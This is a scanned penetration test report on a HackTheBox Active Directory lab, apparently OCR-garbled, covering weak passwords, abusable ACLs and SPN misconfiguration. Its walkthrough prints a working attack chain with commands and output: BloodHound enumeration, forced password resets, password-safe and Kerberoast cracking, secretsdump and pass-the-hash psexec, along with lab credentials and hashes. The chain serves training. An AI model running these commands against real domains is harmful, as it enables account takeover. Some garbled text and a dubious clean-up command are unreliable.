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1. Executive Summary

Objective: The objective of this penetration test was to identify security vulnerabilities within the
Active Directory infrastructure of HackTheBox's internal network.

Scope: The scope of the test included all systems and components within the Active Directory
environment, including domain controllers, member servers, and workstations.

Performed By: WesleyC@ Xsploit.com for HackTheBox.
Key Findings:
» High: User accounts with weak passwords, increasing the risk of unauthorized access.
e High: Users with GenericWrite/A11 privileges, allowing modification of sensitive objects.

e Medium: Users with ForceChangePassword privileges, enabling unauthorized password
changes.

e Medium: Vulnerability to Kerberoasting attacks, exposing service account credentials.
Recommendations:

1. Enforce stronger password policies and educate users on creating secure passwords.

2. Review and limit GenericWrite/Al11 privileges to essential accounts only.

3. Restrict ForceChangePassword privileges to minimize the risk of unauthorized changes.
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. Mitigate Kerberoasting risks by using strong, unique passwords for service accounts and
enabling Kerberos pre-authentication.

2. Methodology

Testing Approach: The test was conducted using a grey-box approach, leveraging known credentials
to assess internal security measures.

Tools Used:
e Nmap: For network scanning and service enumeration.

e Impacket: For performing various Active Directory attacks, including Kerberoasting and
DCSync.

¢ BloodHound: To map out privilege relationships within the Active Directory environment.

e John the Ripper: For password cracking, especially for weak passwords and password safe
files.

¢ EvVil-WinRM: For post-exploitation and gaining remote access to compromised machines.

e PowerView: For gathering information and performing enumeration tasks within the Active
Directory.



3. Findings
Vulnerability 1: User Accounts with Weak Passwords

Description: A user with elevated privileges was found to have a weak password, making them
susceptible to brute-force attacks.

Impact: Unauthorized users can easily gain access to this account, compromising the security
of the entire network.

Evidence: See Figure 1
Remediation: Implement a strong password policy and enforce regular password changes.

Vulnerability 2: Users with GenericWrite/Al1l Privileges

Description: Certain user accounts were found to have GenericWrite/A11 privileges,
allowing them to modify sensitive objects within the Active Directory.

Impact: Attackers can leverage these privileges to escalate their access and compromise other
accounts or systems.

Evidence: See Figure 3

Remediation: Restrict GenericWrite/A11 privileges to essential accounts only and
regularly review privilege assignments.

Vulnerability 3: Users with ForceChangePassword Privileges

Description: Certain user accounts found to have ForceChangePassword privileges,
which can be exploited to change the passwords of other accounts.

Impact: Attackers can gain unauthorized access to user accounts by forcing password changes.
Evidence: See Figure 5

Remediation: Limit ForceChangePassword privileges to administrative accounts and
monitor changes closely.

Vulnerability 4: ServicePrincipalName Misconfiguration

Description: An account was allowed to be written by another account to set the
ServicePrincipalName attribute to null/null, making it vulnerable to Kerberoasting.

Impact: Attackers can obtain service account credentials through Kerberoasting, leading to
further exploitation within the network.

Evidence: See Figure 11

Remediation: Ensure that only authorized accounts have the ability to modify
ServicePrincipalName attributes and regularly review privilege assignments.

Vulnerability 5: Password Safe File with Weak Password

Description: A password safe file was discovered on a user’s computer. The file was protected
by a weak password, which was cracked to reveal credentials for three user accounts.

Impact: The compromise of these credentials could lead to unauthorized access to sensitive
systems and data.



e Evidence: See Figure 8-9

e Remediation: Educate users on the importance of securing password safe files with strong
passwords and encrypt sensitive files.

4. Detailed Analysis
Information Gathering:
¢ Network Scanning:
e Tool Used: Nmap

e Actions Taken: Conducted a comprehensive network scan to identify live hosts, open
ports, and running services within the Active Directory environment.

¢ Results: Detected several critical services, including domain controllers, and member
servers.

Enumeration:
e Active Directory Enumeration:
e Tool Used: PowerView and BloodHound

e Actions Taken: Enumerated Active Directory objects, users, groups, and privilege
relationships.

e Results: Identified users with weak passwords, GenericAll privileges,
GenericWrite privileges, and ForceChangePassword privileges.

Exploitation:
e Weak Passwords:
e Tool Used: John the Ripper/Hashcat
e Actions Taken: Performed password cracking on harvested hashes.

¢ Results: Successfully cracked multiple weak passwords, gaining unauthorized access to
user accounts.

* GenericWrite Privileges:
e Tool Used: Impacket

e Actions Taken: Exploited accounts with GenericWrite privileges to modify
sensitive attributes within the Active Directory.

e Results: Achieved privilege escalation and compromised additional accounts.
e ServicePrincipalName Misconfiguration:
e Tool Used: Impacket

e Actions Taken: Identified an account with GenericWrite privileges and modified
the ServicePrincipalName attribute to null/null.

¢ Results: Enabled Kerberoasting attacks, allowing the service account's password to be
cracked offline.



e Password Safe File:
e Tool Used: John the Ripper

e Actions Taken: Discovered a password safe file on a user’s computer and cracked the
weak password protecting it.

e Results: Extracted credentials for three user accounts from the decrypted password safe
file.

o Remote Access:
e Tool Used: Evil-WinRM

e Actions Taken: Used the compromised credentials to gain remote access to multiple
systems within the network.

e Results: Established persistent access and conducted further post-exploitation activities.
Post-Exploitation:
e Data Extraction:

e Actions Taken: Extracted sensitive data, including additional user credentials, from
compromised systems.

¢ Results: Gained further insight into the network's security posture and identified
additional vulnerabilities.

e Privilege Escalation:

e Actions Taken: Exploited misconfigured privileges and weak passwords to escalate
privileges within the Active Directory environment.

e Results: Achieved domain administrator access.

5. Detailed Walkthrough
1. Port Scanning with Nmap:
e Command Used: nmap -sVC -p- 10.10.11.42

e Description: Conducted a full port scan and service version detection on the target
system.

e Proof: Fig 1



[:Egs—vip—S]—[le.1@.14.11]—[alaIdiians@htb—lgrxe?tsio]—[~]
[*]$ nmap -sVC -p- 10.10.11.42

Starting Nmap 7.94SVN ( https://nmap.oxrg ) at 2024-11-@9 13:34 CST

Stats: ©0:00:30 elapsed; @ hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 61.54% done; ETC: 13:35 (©0:00:1@ remaining)
Stats: ©:00:57 elapsed; @ hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 61.54% done; ETC: 13:35 (©0:00:27 remaining)

Nmap scan report for administrator.htb (10.10.11.42)

Host is up (@.0087s latency).

Not shown: 65509 closed tcp ports (reset)

PORT STATE SERVICE VERSION

PANAs] open Tftp Microsoft ftpd

| ftp-syst:

|_  SYST: Windows_NT

53/tcp open domain Simple DNS Plus

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-10 ©2:34:527)
135/tcp open msIpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator

445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.@ (SSDP/UPnP)

| _http-server-header: Microsoft-HTTPAPI/2.0

2. Enumeration with BloodHound:
¢ Credentials Used: Olivia

e Description: Utilized BloodHound to enumerate Active Directory objects and
relationships.

e Proof: Fig 2

EEgs—vip—S]—[l@.1@.14.11]—[alardiians@htb—lgrxe?tsio]—[w

[*]$ bloodhound-python -u olivia -p "ichliebedich" -d administrator.htb -c All -dc administrator.htb -ns 10.10.11.42
INFO: Found AD domain: administrator.htb

INFO: Getting TGT for usexr

WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: administrator.htb

INFO: Found 1 domains

INFO: Found 1 domains in the forest

INFO: Found 1 computers

INFO: Connecting to LDAP server: administrator.htb

INFO: Found 11 usexrs

INFO: Found 53 groups

INFO: Found 2 gpos

INFO: Found 1 ous

INFO: Found 19 containers

INFO: Found @ trusts

INFO: Starting computer enumeration with 1@ workers

INFO: Querying computer: dc.administrator.htb

INFO: Done in @@M ©2S

3. ldentifying GenericAll Permissions:
¢ Finding: Olivia had GenericAl1l permissions over Michael.
e Proof: Fig 3
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4. Exploiting GenericAll Permissions:
e Tool Used: net rpc

e Description: Changed Michael's password to newpassword using Olivia's
GenericWrite permissions and accessed Michael's account via PSRemote with Evil-

WInRM.
e Proof: Fig 4
[:[ 5]-[10.10.14.11]-[alardiians@ Xe’ Isiz]
[*]$ net rpc password "michael” "newpassword" -U "administrator.htb@"/"olivia"%"ichliebedich" -S "administrator.htb"
[[ v 5]-[10.10.14.11]-[alardiians@ io]=[~]
[*]$ evil-winrm -i 10.10.11.42 -u michael@administrator.htb

Enter Password:

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

PS C:\Users\michael\Documents> I

5. Further Enumeration with BloodHound:

e Finding: Michael had ForceChangePassword permissions over Benjamin.
e Proof: Fig 5



INISTRATOR.HTB

BENJAMIN@ADMINISTRATOR.HTB

6. Exploiting ForceChangePassword Permissions:
e Tool Used: rpcclient
e Command Used: setuserinfo2 benjamin 23 'newpassword'

e Description: Changed Benjamin's password using Michael's credentials.

e Proof: Fig 6
[:[ -vip-5]—-[10.10.14.11]-[alardiians@ht 'tsio]—[~/michaelhtb]
[#1% rpcclient -U "michael%newpassword" 10.10.11.42 -c "setuserinfo2 benjam

in 23 'newpassword'"
[ ]1-[10.10.14.11]-[alardiians@ . o7t ]=[~/michaelhth]
L. 3k |

7. Accessing FTP with Benjamin's Credentials:
e Service Accessed: FTP on port 21
e Finding: Discovered a file named Backup.psafe3.
e Action: Copied the file for offline cracking.
e Proof: Fig 7



[:EES—Vip—S]—[la.1@.14.11]—[alardiians@htb—lgrxe7tsio]—[~fmichae1htb]
[#]% ftp 10.10.11.42

Connected to 10.10.11.42.

220 Microsoft FTP Service

Name (10.10.11.42:root): benjamin

331 Password required

Password:

230 User logged in.

Remote system type is Windows_NT.

ftp>

ftp> dir

229 Entering Extended Passive Mode (|| |57571]|)

125 Data connection already open; Transfer starting.
10-05-24 ©8:13AM 952 Backup.psafe3

8. Cracking Password Safe File:
e Tool Used: John the Ripper
e Description: Brute-forced the password of the password safe file.
e Proof: Fig 8

[:Ezs—vip—S]—[la.1@.14.11]—[a1ardiians@htb—lgrxe7tsio]—[~/michae1htb]
[«]$ pwsafe2john Backup.psafe3 >> backup-hash
[:Ezs-vip-S]—[10.10.14‘11]-[a1ardiians@htb-1grxe7tsio]—[~/michae1htb]
[*]1$ john --wordlist=/usx/share/wordlists/rockyou.txt backup-hash
Created directory: /home/alardiians/.john
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho (Backu)
1g 0:00:00:00 DONE (2024-11-09 14:59) 5.000g/s 40960p/s 40960c/s 40960C/s newzea
land. .whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

9. Extracting User Credentials:

¢ Finding: Accessed passwords for three user accounts from the decrypted password safe
file.

e Proof: Fig 9
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9O PasswordSafe - Backup.psafe3

- = | | = = =

New Open Close Lock
#2 B & M 8 wm B

Wl Alexander Smith [alexander]

|

B Emily Rodriguez [emily]

Bl Emma Johnson [emma]

https://fpwsafe.org/ Pswd copied | RW 3

10. Discovering ACCESS_ALLOWED_ACE for Emily:

e Finding: Using PowerView, identified that Emily had an ACCESS_ALLOWED_ACE
entry for the object Ethan Hunt, granting her various permissions.

e Proof: Fig 10

(powerview_env) —[us-vip-5]—[10.10.14.11]-[alardiians@htb-lgrxe7tsio]—[~]

— [«]$ powerview 'emily:UXLCISiETUsIBoFVTj8yQFKoHjXmb@administrator.htb'

Logging directory is set to /home/alardiians/.powerview/logs/administrator.htb

(LDAP) - [dc.administrator.htb] - [ADMINISTRATOR\emily]

PV > Get-DomainObjectACL -SecurityIdentifier emily

[2024-11-09 15:21:47] [Get-DomainObjectAcl] Recursing all domain objects. This might take a while

ObjectDN : CN=Ethan Hunt,CN=Usexrs,DC=administrator,DC=htb
ObjectSID : S-1-5-21-1088858960-373806567-254189436-1113
ACEType : ACCESS_ALLOWED_ACE

ACEFlags : CONTAINER_INHERIT_ACE

ActiveDirectoryRights : ReadControl,WriteProperties,Self

AccessMask : 0x20028

InheritanceType : None

SecurityIdentifier : emily (S-1-5-21-1088858960-373806567-254189436-1112)
11. Exploiting ServicePrincipalName Misconfiguration:

e Action: Set serviceprincipalname="null/null" for Ethan using Emily's
permissions.

e Description: Enabled Kerberoasting by manipulating SPN settings.

12. Synchronizing Time to Avoid Time Skew Issues:
e Action: Set the system time to match the AD server's time.

e Description: Ensured time synchronization to avoid issues during the Kerberoasting
attack.
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(K} Kerberoasting Attack:
e Tool Used: impacket-GetUserSPNs
e Credentials Used: Emily's
e Action: Requested the TGS hash for Ethan.
e Proof: Fig 11

E[us'vwr.’:]—[w‘10.14.11]—[a1ardiians@é\(b—)(uxﬂrs)o]— ~/michaelhtb/libfaketime]
[*]$ sudo timedatectl set-time '2024-11-09 23:14:06"

E[us'\.n;r’)]—[m.10,14.11]—[a1axdiians@mhrEqne7(5;0]—[~/michaelhtb/libfaketime]
[+]$ impacket-GetUserSPNs administrator.htb/'emily':'UXLCISiETUSIBoFVTj8yQFKoHjXmb' -request-user ethan
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation

null/null ethan 2024-10-12 15:52:14.117811 <never>

[-] CCache file is not found. Skipping...
$krb5tgs$23$*ethanSADMINISTRATOR . HTBSadministrator. htb/ethan*$43d656def5787dd1f13044c677be63c7$1117ff496d83be8a33adfdc362fe5a2341714a3a3f5d871b82aec2223742b89a6ba6e0al2861a75c97109fa873fes51

b49b3a6d210e5b33ef183455b7b6a127f30af21d6411bdcc2edc95f5484c41a2c5d1a056b9f 152471141 1cbba6247a6b723e83779bd279bed4158e0e71e157d5b4d996a058e69ffd7738ffb5220e2e7909a6d5:2
170add776786d82e898932c@f7adbcb3f59f 2fb’ '41bb3095c. 2f8b2d76299b5322666e643785425309bb3c2022a65b65¢5abf599600521a25088a36453ee757197391548eea8f9170bcc1c420bd
87cc7dccf15! 34bd3d4eb12 38e97fc33584349041281228e8c2b02c8030c d448b15af15b439d7c96F9f4735ee96c8231ca370f72f6davRacdc34a387b825e84604289353F2ede
a7201783f4c10667b241b61430cc420962667d3678abd7dc86b411f4c72ae6a6d 27ef173 745e23¢ 4f64f4a79ee582cc6cb548a0d22a306e6332c235aa621f306fb95d2a97345F396491392accd8ce

338f37011351cb5c47b615deda5d4 f879203e5589cd9baeb fbb87b8508a 303 fc fa78ecb@27adedc3073fa926c03667f4a41e169c303b6913a1966b9dd158e4d1468 fhae@639c816bdb56508d01d267cd23c5d2f2e1eead19e6427a9a9c9fe
d25062A9339e4(7Ba391‘520159452:(14laaBSCbbA927afbeace179f0e9b7284(e7d00h09f221e6af576f(5f9ca504f7e70d5b43b5e83&412036:5lbcfcdbdeaSQddaS1573a57786086(13746333017381Bd535b298881d0b0e5185(d3:7cb-
1ff2ed2e4fcd9f1b98a2c718a2cc532f73df99d6F2416a9a576642a 786bbb122eab37d8cl 4190a82cb4abSe154e0a7184e54508564849b924803c48b9adeff2bdd267¢
71281328627b031364b331124cb9debc7f32b2d8291789a2e6ddca8c26¢c139c6¢88fagf@d9: 896ac! m427 284 b7557d7abeb35f78e641781c1f1c5cd629c680bdobb1ac95fbf62ef97227c005e9624047d01
48b7628613326a9f52d1a7bd86219¢1fe3b699093c8fc1368fadbfc75bf7a1697b0855e5c1ece7047 fadbec18e355ad935df7755376acad317e8a3c f5718fc59dd53b785e2a4a6cb8089acaac27e632722d22bd82a@92f51a0337b8%edd8aE
abe54c4cd7f8bd2a2908c9e72fb78102091245191d7063cccfod8aabce f11d360c74d642d033cee727ac3edc f25eedb@130196c 1bledb71c fda349ddce2a976fobeab484560bb982ccc77492ec8bf7d5b4a3ccd10197Fc9572759b6eab7dd187
c3bd7fb65c2b5f800b638d6d7c3eaad54a3d7d2ee66e2b042de74d1db107eSeb7c9f6alafdbedc9c886d2221261d995298d0c23d939c8987fead3e73b904e8aa1909626d29256bb6ac7117e65f4abc865ce9220527F885a80d

14, Brute-Forcing TGS Hash:
e Tool Used: Hashcat
e Wordlist Used: rockyou.txt
e Description: Brute-forced the TGS hash to obtain Ethan's password.
e Proof: Fig 12

$krbStgs$23$*ethan$SADMINISTRATOR . HTBSadministrator. htb/ethan*$43d656def5787dd1f13844c677be63c7$1117ff496d83be8a33adfdc362fe5a2341714a3a3f5d871b82aec2223742b89abbd6eda12861a75c97109fa873fe55F
bd9b3a6d218e5b33ef183455b7b6a127f30af21d6411bdcc2e4c95f5484c41a2c5d1a056bIfhe36e63bbde5T15a471141406T69ebb1cbba6247a6b723e83779bd279bed4158e0e71e157d5b4d996a058e69f fd7738Ffb5220e2e7989a6d53
170add776786d82e898932c@f7a@bcb3f59f bd f 741bb30895cadd94992f8b2d76299b5322666e643785425309bb3c2022a65b65¢ 5abf599600521a25088a36453ee757197391548eea8f917@bcc1c420bd
87cc7dccf1554b4@bb1034bd3d4eb122ddobab6950e f38e97 3358434904 F281228e8fc2b02c830cd46be74d04d803fd@6bed829b50d448b15af15b439d7c 96f9f4735e96¢8231ca370f72f6daBRacdc34a387b825e84604289353F2edd
a7201783f4c10667b241b61430cc420962667df3678abd7dc86b411fdc72aebabd. 7ef1731, 46a@745e23c 4f6dfda’ 582cc6cb548a0d22a306e6332c235aa621f306b95d2a97345F396491392accd8ca
338f37011351cb5c47b615ded45d4 8792035589 cd9baeb fbb87b8508a303fcfa78ecb@27adddc3073fa926c03667f4ad1e169c303b6913a1966b9dd158e4d1468 fbae@639c8: 08d01d267cd23c5d2f: 427a9a9c9fo
d25062493a%e4c70a39f52015e452cd41aa@5cbba927afbeace179f@e9b7284ce7d0@bO9T221e6af576fc5FIca5@4f7e70dSbdab5e8aed12036c51bc fcdod 2ba59dda51573a57786086d374e3330173818d535b298881d0boe5185cd3c7ch3
1ff2ed2edfcd9f1b98a2c718a2cc53273df99d6f2416a9a576642a29e4e60a66a86e0ec786bbb122eab37d8cbdb10baed01799d046eb2dadadb8685a29aea5094190a82cbdab5e154e@a7184e54508564849h924803c48b3adef f2bdd2678
71281328627b831364b331124cb9debc 7f32b2d8291789a2e6ddcaBc26c139c6c88fadf@d9209e19d3438358c896ac50fa27a284e240ae4658b7557d7abeb35F78e641781c1f1c5cd629c680bdobblac95fhf62ef97227c005e9624047d01
48b762863326a9f52d1a7bd86219c1fe3b699093c8fc1368fadbfc75bf7a1697b@855e5c1ece7@47 fadbec18e355ad935df7755376acad317e8a3c F5718fc59dd53b785e2a4a6cb8@89acaac27e632722d22bd82a@92f51a0337b8%eddB a6
abe54c4cd7f8bd2a2908c9e72fb78102091245191d7063cccfodB8aabcf11d368c74d642d@33cee727ac3edcf25eedbB130196c 1bledb71cfda349ddce2a976fObeab484568bbI82ccc77492ec8bf7d5ba3ccd10197Fc9572759b6eab7dd187
c3bd7fb65¢ 2b5f800b638d6d7 c3eaad54a3d7d2ee66e2b@42de74d1db107e5eb7c9f6alafdbedc9c886d2221261d995298d0c23d939fc 8987 fead3e73b904e8aal909626d29256bb6ac7117e65f4abc865ce92205271885a80d : 1impbizkit

hashcat

Cracked

13100 (Kerberos 5, etype 23, TGS-REP)
$krb5tgs$23$*ethan$ ADMINISTRATOR . HTBSadministrator. . . .85a80d
: Sat Nov 9 23:21:01 2024 (@ secs)

Sat Nov 9 23:21:01 2024 (@ secs)

: Pure Kernel

Session. .

Time.Started. .
Time.Estimated
Kernel.Feature

Guess .Base. .. File (/usr/share/wordlists/rockyou.txt)

Guess . Queve. . 1/1 (100.00%)

Speed.#2.........: 1108.3 kH/s (1.1lms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress. : 6144/14344385 (0.04%)

Rejected. 0/6144 (0.00%)

Restore.Point. 4096/14344385 (0.03%)
Restore.Sub.#2 Salt:@ Amplifier:@-1 Iteration:@-1

Candidate.Engine.: Device Generator @
Candidates #2  - newsealand -> iheartvon _

15. Dumping NTLM Hashes:
e Tool Used: impacket-secretsdump
e Action: Extracted the NTLM hash for the administrator account.
e Proof: Fig 13
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16.

L— [+]$ impacket-secretsdump administrator.htb/ethan:limpbizkit@1@.10.11.42
Impacket v@.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies

Pass-the-Hash Attack:
e Tool Used: psexec
e Description: Used the NTLM hash to gain access to the administrator account.
 Proof: Fig 14

|—_[. Vip-5]-[10.10.14.11]-[alardiians@htb-lgrxe7tsio]~[~]
[+

Imy

*

*

*

*
[!
Mi
(c

(c2

]$ impacket-psexec administrator.htb/Administrator@1@.10.11.42 -hashes aad3b435b51404eeaad3b435b51404ee:3dc553ce4bdTd20bdd16e098d2d2fd2e
packet v@.13.0.dev@+20248916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies

] Requesting shares on 10.10.11.42.....

] Found writable share ADMIN$

] Uploading file tUyidbMd.exe

] Opening SVCManager on 10.10.11.42.....

] Creating service PkWu on 10.10.11.42.....

] Starting service Pkwu.....

] Press help for extra shell commands
crosoft Windows [Version 10.0.20348.2762]

) Microsoft Corporation. All rights reserved.

\Windows\system32> I

6. Conclusion

The Active Directory penetration test for HackTheBox revealed several critical vulnerabilities,
primarily related to weak password policies, misconfigured permissions, and improper handling of
sensitive account attributes. These vulnerabilities could potentially lead to unauthorized access,
privilege escalation, and overall compromise of the Active Directory environment.

Summary of Findings:

Weak Passwords: Multiple user accounts had weak passwords, which were easily cracked.

GenericWrite/Al1l Privileges: Identified users with the ability to modify critical Active
Directory objects.

ForceChangePassword Privileges: Users were found with the capability to change
passwords of other accounts.

ServicePrincipalName Misconfiguration: Allowed for Kerberoasting by setting the
ServicePrincipalName to null/null.

Password Safe File: Discovered a weakly protected password safe file containing user
credentials.

7. Remediation and Clean-up

1. Enforce Strong Password Policies:

e Action: Implement and enforce a strong password policy across the organization. Passwords
should be complex, with a mix of upper and lower case letters, numbers, and special characters.

¢ Recommendation: Use a password manager to generate and store complex passwords.
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2. Restrict GenericWrite/Al1 Privileges:

e Action: Review and limit GenericWrite/Al1 privileges to essential accounts only.

e Recommendation: Regularly audit user privileges and remove unnecessary permissions.
3. Limit ForceChangePassword Privileges:

e Action: Restrict ForceChangePassword privileges to administrative accounts.

e Recommendation: Implement strict monitoring and logging of all password change activities.
4. Correct ServicePrincipalName Misconfiguration:

e Action: Revert the ServicePrincipalName for Ethan from null/null to its original
value.

¢ Command:

setspn -S service/hostname domain\user

e Recommendation: Ensure only authorized accounts can modify SPN attributes.
5. Secure Password Safe Files:
e Action: Educate users on the importance of securing password safe files with strong passwords.

e Recommendation: Use encryption to protect sensitive files and enforce regular audits of stored
password files.

6. Clean-up Actions for Users Michael and Benjamin:

e Action: Revert the passwords for Michael and Benjamin from newpassword to secure,
randomly generated passwords.

¢ Command for Michael:

setpasswd -u michael -p "securepasswordl23!"

e Command for Benjamin:

setpasswd -u benjamin -p "securepasswordl23!"

¢ Recommendation: Inform the users of the password changes and ensure they update their
credentials securely.
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